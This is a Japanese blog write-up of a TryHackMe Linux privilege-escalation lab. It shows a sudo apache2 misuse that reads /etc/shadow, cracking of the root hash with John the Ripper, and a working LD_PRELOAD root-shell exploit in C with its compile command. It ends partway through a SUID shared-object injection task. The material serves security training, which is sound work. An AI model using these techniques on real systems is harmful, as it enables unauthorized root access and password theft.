脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup2/3】

こんにちは、ぎんたです。

今回はTryHackMeで提供されている「Linux PrivEsc Arena」というルームの攻略の過程を記事にしています。

ルームはこちらからアクセスできます「Linux PrivEsc ArenaのURL」。

今回の記事は「脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup1/3】」の続編となっています。

前提条件の説明

Linuxの権限昇格がテーマとなっているため、すでにユーザ権限で被害サーバに侵入している状態となっています（ユーザの認証情報が判明している）。

侵入先のサーバを探索して設定の不備や脆弱性などを調査し、それぞれのTaskごとで実際に権限昇格をしていく方法を解説していきます。

Linuxの権限昇格（Task9 意図した機能の悪用）

rootで実行できるコマンドを以下のコマンドを使って調査します。

sudo -l

apache2がリストにあるのを確認しました。

sudoをパスワード無しで実行可能なので、root権限でapache2のコマンドを実行できます。

apache2を実行し、権限昇格ができるかどうかを考えます。

そこで「apache2 -h」を実行しapache2のヘルプ画面を確認すると、-fの部分にこのように書かれています。

-f file　 specify an alternate ServerConfigFile

サーバのコンフィグファイルを指定して実行できるようです。

この機能を利用し、-fを使用してユーザのパスワードハッシュが記載されている「/etc/shadow」を読み取ることを試みます。

通常shadowファイルはrootだけが読み込み可能なので、sudoとあわせて実行します。

「/etc/shadow」ファイルを一部表示させることに成功し、rootのハッシュを確認できました。

攻撃側の端末に、判明したrootのハッシュをコピーします。

echo ‘rootのハッシュが記載された部分’ > hash.txt

コピーできたら攻撃側の端末で「john the ripper」を実行し、パスワードクラックを試みます。

使用する辞書ファイルはAttackBoxにすでにある「rockyou.txt」を使用しました。

rootのパスワードが判明しました。

このTaskではrootのパスワードを解析して終了となります。

Linuxの権限昇格（Task10 LD_PRELOAD）

このタスクでは、LD_PRELOADを利用した権限昇格を行います。

先ほどのタスクと同様に「sudo -l」を実行します。

env_keepオプションの箇所を確認すると、LD_PRELOADとなっています。

LD_PRELOAD：プログラムの実行時に、どのオブジェクトよりも先に共有オブジェクトをロードする設定

sudoはユーザの環境変数から特定の環境変数を継承するように設定できます。

このときに継承される環境変数がLD_PRELOADに設定されているため、sudoを用いて実行するプログラムで、作成した共有オブジェクトをロードすることができます。

LD_PRELOADを用いて権限昇格を試みます。

エディタを開き次のコードを入力します。

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv(“LD_PRELOAD”);

setgid(0);

setuid(0);

system(“/bin/bash”);

}

「/bin/bash」を起動するプログラムとなります。

「/tmp/x.c」というファイル名で保存した後、gccでコンパイルし、共有オブジェクトを作成します。

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

sudoを使ってroot権限でapache2を実行します。

LD_PRELOAD環境変数に作成した共有オブジェクトを設定しています。

作成した共有オブジェクトを事前に読み込みrootのシェルが起動しました。

権限昇格が完了しました。

1 Linuxの権限昇格（Task11共有オブジェクトのインジェクション）

このタスクでは、共有オブジェクトインジェクションの脆弱性を利用します。

この脆弱性は、こちらが用意した共有オブジェクトを読み込ませることができるものになります。
読み込ませる共有オブジェクトの内容しだいで、権限昇格も狙うことが可能です。

まず、findコマンドを実行し、SUIDが付与されているファイルを探します。

find / -type f -perm -04000 -ls 2>/dev/null

-type f　ファイルを調査
-perm -04000　SUIDが付与されたファイルを調査
-ls 条件に合致するファイルを列挙
2>/dev/null　エラーを表示させない

「/usr/local/bin/suid-so」ファイルを調査してみます。

SUIDが付与され、所有者がrootになっていますので、root権限で動作するファイルです。

straceコマンドを実行し、open/accessの呼び出しと「no such file」エラーの有無を調査します。

strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”

TCM@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”

access(“/etc/suid-debug”, F_OK) = -1 ENOENT (No such file or directory)